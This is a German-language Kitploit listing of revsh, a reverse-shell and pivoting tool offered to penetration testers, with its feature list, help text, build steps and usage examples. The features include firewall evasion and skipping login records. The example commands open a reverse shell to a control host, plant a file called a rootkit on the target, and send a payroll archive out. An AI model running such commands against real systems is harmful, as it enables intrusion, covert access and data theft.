Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/emptymonkey/revsh
Verschlüsselungs-/EntschlüsselungstoolsNetzwerkkartierungIDS/IPS-UmgehungLaterale BewegungPost-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-Tool
GitHubemptymonkey/revsh

revsh

Eine Reverse Shell mit Terminalunterstützung, Daten-Tunneling und erweiterten Pivoting-Fähigkeiten.

469929vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

revsh

revsh ist ein Werkzeug zum Einrichten von Reverse Shells mit Terminal-Unterstützung, umgekehrten VPNs für fortgeschrittenes Pivoting sowie zum beliebigen Daten-Tunneling.

News

  • 2018-08-09: Neue Version. Hauptsächlich Fehler-/Stabilitätskorrekturen und bessere Dokumentation zum Build-Prozess mit OpenSSL 1.1.0. Siehe den Abschnitt Installation unten für die aktualisierten Build-Anweisungen.

Übersicht

Was ist eine „Reverse Shell"?

Eine Reverse Shell ist eine Netzwerkverbindung, die Shell-Zugriff auf einen entfernten Host gewährt. Im Gegensatz zu anderen Remote-Anmeldetools wie telnet und ssh wird eine Reverse Shell vom entfernten Host initiiert. Diese Technik des ausgehenden Verbindungsaufbaus aus dem entfernten Netzwerk ermöglicht die Umgehung von Firewalls, die so konfiguriert sind, dass sie nur eingehende Verbindungen blockieren.

Was ist ein „Reverse-VPN"?

revsh ist in der Lage, eine virtuelle Ethernet-Karte (tun/tap) an beiden Enden seines Krypto-Tunnels anzubinden. Diese Karten können dann verwendet werden, um rohe IP-Pakete oder Ethernet-Frames weiterzuleiten. In Kombination mit einer Iptables-NAT-Regel oder dem Bridgen einer echten Ethernet-Karte kann der Betreiber so eine vollständig routbare IP-Adresse im Netzwerk der Zielmaschinen erhalten. Dies ist im Wesentlichen ein vollständiges VPN, das einen Rückruf an den Betreiber durchgeführt hat, um die eingehende Paketfilterung zu umgehen und dem Betreiber vollen Netzwerkzugriff zu gewähren. (Weitere Informationen finden Sie unter „Documentation/REVERSE_VPN.md“.)

Was ist eine „Bind Shell"?

Eine Bind Shell ist eine Shell, die über eine normale vorwärts gerichtete Netzwerkverbindung bereitgestellt wird. revsh unterstützt sowohl Reverse- als auch Bind-Shells. Um eine Bind-Shell zu starten, können Sie entweder das -b-Flag auf beiden Enden der Verbindung verwenden oder die Binärdatei als 'bindsh' aufrufen.

Kann ich nicht einfach netcat verwenden?

Es gibt viele Techniken zum Einrichten einer Reverse Shell, aber diese Methoden bieten keine Terminalunterstützung. revsh ermöglicht eine Reverse Shell, deren Verbindung über ein Pseudo-Terminal vermittelt wird, und bietet damit Funktionen wie:

  • Job Control
  • Steuerzeichenverarbeitung (z. B. Strg-C)
  • Auto-Vervollständigung
  • Unterstützung für Programme, die ein kontrollierendes TTY benötigen (z. B. vi)
  • Verarbeitung von Fenstergrößenänderungen

Darüber hinaus bietet revsh die folgenden Funktionen:

  • UTF-8-Unterstützung.
  • Umgeht utmp / wtmp. (Keine Anmeldung aufgezeichnet.)
  • Verarbeitet Befehle aus der rc-Datei bei der Anmeldung zur einfachen Skripterstellung.
  • OpenSSL-Verschlüsselung mit schlüsselbasierter Authentifizierung, die in die Binärdatei eingebettet ist.
  • Anonyme Diffie-Hellman-Verschlüsselung auf Anfrage.
  • Ephemere Diffie-Hellman-Verschlüsselung als Standard. (Jetzt mit noch mehr Perfect Forward Secrecy!)
  • Zertifikat-Pinning zum Schutz vor Sinkholes und MitM-Gegenmaßnahmen.
  • Verbindungs-Timeout zur Selbstbeendigung des entfernten Prozesses.
  • Zufällige Wiederholungs-Timer für unvorhersehbare automatische Wiederverbindung.
  • Netcat-artige nicht-interaktive Datenvermittlung für Dateitransfer.
  • Proxy-Unterstützung: Punkt-zu-Punkt, SOCKS 4, SOCKS 4a und SOCKS 5. Proxys sind in beide Richtungen für maximale Flexibilität verfügbar.
  • TUN / TAP-Unterstützung zur Weiterleitung roher IP-Pakete / Ethernet-Frames.
  • Escape-Sequenz-Befehle zum Beenden nicht reagierender Nodes oder zum Anzeigen von Verbindungsstatistiken.

revsh ist als ergänzendes Werkzeug für das Pentester-Toolkit gedacht, das den vollständigen Satz an Terminalfunktionen über einen verschlüsselten Tunnel bietet.

Wo kann ich revsh verwenden?

revsh wurde unter x86_64 Linux entwickelt. Hier ist eine kurze Liste von Architektur-/Betriebssystem-Kombinationen, auf denen es verwendet wurde:

  • x86_64 Linux
  • i686 Linux
  • amd64 FreeBSD

(Falls Sie revsh erfolgreich auf einer anderen Plattform verwendet haben, lassen Sie es mich wissen, und ich füge es der Liste hinzu.)

Verwendung

root@kitploit:~
empty@monkey:~$ revsh -h

Control:	revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target:		revsh     [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]

	ADDRESS		Die Adresse des Control-Listeners.		(Standard ist „0.0.0.0“.)
	PORT		Der Port des Control-Listeners.			(Standard ist „2200“.)

CONTROL_OPTIONS:
	-c		Führe im „Command and Control“-Modus aus.		(Standard ist der Target-Modus.)
	-a		Aktiviere den anonymen Diffie-Hellman-Modus.		(Standard ist ephemeres Diffie-Hellman.)
	-d KEYS_DIR	Verweise auf die Schlüssel in einem alternativen Verzeichnis.	(Standard ist „~/.revsh/keys/“.)
	-f RC_FILE	Verweise auf eine alternative rc-Datei.			(Standard ist „~/.revsh/rc“.)
	-s SHELL	Rufe SHELL als die Remote-Shell auf.			(Standard ist „/bin/bash“.)
	-F LOG_FILE	Protokolliere allgemeine Nutzung und Fehler in LOG_FILE.	(Kein Standard gesetzt.)

TARGET_OPTIONS:
	-t SEC		Setze das Verbindungs-Timeout auf SEC Sekunden.	(Standard ist „3600“.)
	-r SEC1,SEC2	Setze die Wiederholungszeit auf SEC1 Sekunden oder	(Standard ist „600,1200“.)
			auf einen Zufallswert im Bereich von SEC1 bis SEC2.

MUTUAL_OPTIONS:
	-k		Führe im Keep-Alive-Modus aus.
			Der Node wird weder normal beendet noch timeoutet.
	-L [LHOST:]LPORT:RHOST:RPORT
			Statische Socket-Weiterleitung mit einem lokalen Listener
			an LHOST:LPORT, der an RHOST:RPORT weiterleitet.
	-R [RHOST:]RPORT:LHOST:LPORT
			Statische Socket-Weiterleitung mit einem entfernten Listener
			an RHOST:RPORT, der an LHOST:LPORT weiterleitet.
	-D [LHOST:]LPORT
			Dynamische Socket-Weiterleitung mit einem lokalen Listener
			an LHOST:LPORT.					(Socks 4, 4a und 5. Nur TCP-Connect.)
	-B [RHOST:]RPORT
			Dynamische Socket-Weiterleitung mit einem entfernten
			Listener an LHOST:LPORT.			(Socks 4, 4a und 5. Nur TCP-Connect.)
	-x		Deaktiviere die automatische Einrichtung von Proxys.	(Standard: Proxy D2280 und tun/tap-Geräte.)
	-b		Starte im Bind-Shell-Modus.			(Standard ist Reverse-Shell-Modus.)
			Das -b-Flag muss auf beiden Enden verwendet werden.
	-n		Nicht-interaktiver Netcat-artiger Datenvermittler.	(Standard ist interaktiv mit Remote-TTY.)
			Kein TTY. Nützlich zum Kopieren von Dateien.
	-v		Ausführlich. -vv und -vvv erhöhen die Ausführlichkeit.
	-V		Programm- und Protokollversionen anzeigen.
	-h		Diese Hilfe anzeigen.
	-e		Einige Nutzungsbeispiele anzeigen.

Installation

Zuerst müssen Sie OpenSSL aus dem Quellcode erstellen. (Siehe HINWEIS unten.)

root@kitploit:~
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static	# Diese Optionen werden benötigt, um statische Anwendungen gegen OpenSSL zu erstellen.
make && make test	# Wir überspringen „make install“, um keinen Konflikt mit dem standardmäßigen OpenSSL Ihres Systems zu verursachen. Wir werden _revsh_ gegen das OpenSSL bauen, das wir gerade in diesem Verzeichnis kompiliert haben.
cd ..

Jetzt revsh erstellen.

root@kitploit:~
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h        # Neue Standardeinstellungen für Ihre Situation festlegen.
vi Makefile        # Überprüfen, ob die ausgewählte Build-Umgebung die gewünschte ist. (Standardmäßig ist es wahrscheinlich bereits die richtige.)
make               # Dies *kann* sehr lange dauern, tut es aber normalerweise nicht.
make install
vi ~/.revsh/rc     # Fügen Sie Ihre bevorzugten Startbefehle hinzu, um das Gefühl Ihrer Remote-Shell anzupassen.
revsh -h

HINWEIS: Mit der Veröffentlichung von OpenSSL 1.1.0 muss OpenSSL aus dem Quellcode erstellt werden, um in einer statisch gelinkten Binärdatei verwendet zu werden. Das Erstellen einer statisch gelinkten Binärdatei gegen die OpenSSL-Bibliotheken, die mit den meisten Linux-Distributionen (einschließlich Kali) ausgeliefert werden, wird nicht funktionieren. (Falls es überhaupt baut, wird es einen SEGFAULT geben.)

Beispiele

Beispiel-IP des Control-Hosts: 192.168.0.42
Beispiel-IP des Target-Hosts: 192.168.0.66

root@kitploit:~
Interaktives Beispiel auf Standardport '2200':
	control:	revsh -c
	target:		revsh 192.168.0.42

Interaktives Beispiel auf nicht standardmäßigem Port '443':
	control:	revsh -c 192.168.0.42:443
	target:		revsh 192.168.0.42:443

Bind-Shell-Beispiel:
	target:		revsh -b
	control:	revsh -c -b 192.168.0.66

Nicht-interaktives Datei-Upload-Beispiel:
	control:	cat ~/bin/rootkit | revsh -c -n
	target:		revsh 192.168.0.42 > ./totally_not_a_rootkit

Nicht-interaktives Datei-Download-Beispiel:
	control:	revsh -c -n >payroll_db.tar
	target:		cat payroll_db.tar | revsh 192.168.0.42

Nicht-interaktives Datei-Download-Beispiel über bestehenden Tunnel:
	control:	revsh -c -n 127.0.0.1:2291 >payroll_db.tar
	target:		cat payroll_db.tar | revsh 127.0.0.1:2290
Tool herunterladen